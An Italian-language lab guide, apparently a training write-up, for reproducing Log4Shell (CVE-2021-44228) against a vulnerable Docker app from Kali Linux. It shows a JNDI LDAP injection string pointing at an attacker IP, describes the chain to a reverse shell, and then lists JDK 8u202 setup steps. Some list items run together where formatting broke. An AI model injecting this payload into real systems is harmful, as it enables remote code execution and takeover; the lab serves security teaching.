Laboratorio pratico per sfruttare e comprendere Log4Shell (CVE-2021-44228) utilizzando Docker, Kali Linux, Burp Suite e log4j-shell-poc. Solo per insegnamento e formazione difensiva in ambienti di laboratorio controllati.
Log4Shell (CVE-2021-44228) è una delle vulnerabilità di esecuzione di codice remoto a più alto impatto mai divulgate. Colpisce Apache Log4j 2, un framework di logging Java ampiamente utilizzato, e consente agli attaccanti di eseguire codice arbitrario abusando dei lookup JNDI nei messaggi di log.
Questa guida fornisce un laboratorio dimostrativo completo e riproducibile che utilizza:
log4j-shell-pocÈ progettata per scopi didattici, di ricerca, formazione e consapevolezza difensiva esclusivamente in ambienti controllati. La struttura e lo stile seguono lo stesso spirito del laboratorio "Shellshock" associato.
poc.py per usare JDK 1.8.0_202curlQuesto laboratorio deve essere eseguito esclusivamente in un ambiente controllato in cui si dispone di autorizzazione esplicita (proprio laboratorio, VM di classe, ecc.).
Log4Shell (CVE-2021-44228) è una vulnerabilità critica di RCE in Apache Log4j 2.
Il problema nasce perché le versioni vulnerabili di Log4j2 interpretano stringhe controllate dall'attaccante come:
${jndi:ldap://ATTACKER_IP:1389/a}
Quando questa stringa viene registrata nei log, Log4j:
In questo laboratorio, dovrai:
log4j-shell-poc.curl e tramite Burp Suite.Al termine di questo laboratorio, dovresti essere in grado di:
Tutti i componenti girano sopra il tuo laboratorio virtuale esistente. Per questa documentazione assumiamo:
| Componente | Ruolo / Descrizione | Strumenti / Servizi | Indirizzamento di esempio |
|---|---|---|---|
| VM Kali Linux (Attaccante + Host) | Esegue PoC exploit, server LDAP, server HTTP, listener Netcat, Burp Suite | Python 3, JDK 1.8.0_202, Netcat, Burp Suite, Docker, curl, Git | 192.168.1.4 (es. IP di Kali) |
| Applicazione web Log4j2 vulnerabile | Target; app web Spring Boot vulnerabile a Log4Shell | Immagine Docker: ghcr.io/christophetd/log4shell-vulnerable-app | Esposta su http://127.0.0.1:8080 |
Idea chiave
L'attaccante inietta:
${jndi:ldap://192.168.1.4:1389/a}
in un header HTTP. L'app vulnerabile lo registra usando Log4j2 → esegue un lookup JNDI LDAP verso 192.168.1.4:1389 → scarica una classe dannosa da http://192.168.1.4:8000 → esegue la classe, che apre una reverse shell verso 192.168.1.4:9001.
Su Kali ti serve:
nc).In tutta questa guida assumiamo che l'IP di Kali sia:
192.168.1.4
Se il tuo IP è diverso, adatta tutti i comandi di conseguenza.
Il PoC si basa su Java SE 8 Update 202 (JDK 1.8.0_202) perché le versioni successive di Java limitano il caricamento remoto delle classi usato da questo exploit.
Anche se Kali ha già OpenJDK 21 (o simile), devi comunque installare 8u202 separatamente.
mkdir -p ~/Log4Shell
cd ~/Log4Shell
Root del mirror:
https://mirrors.huaweicloud.com/java/jdk/8u202-b08/
Scarica l'archivio tar per Linux x64 (≈185 MB):
wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz # dovrebbe essere ~185M
/usr/bin/jdk1.8.0_202sudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
-C /usr/bin/jdk1.8.0_202 --strip-components=1
L'opzione --strip-components=1 rimuove la directory di primo livello dall'archivio, così i file finiscono direttamente in /usr/bin/jdk1.8.0_202.
/usr/bin/jdk1.8.0_202/bin/java -version
Output atteso:
java version "1.8.0_202"
Java(TM) SE Runtime Environment (build 1.8.0_202-b08)
Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode)
Se vedi questo, JDK 1.8.0_202 è installato correttamente.
In un nuovo terminale su Kali (puoi rimanere in ~/Log4Shell):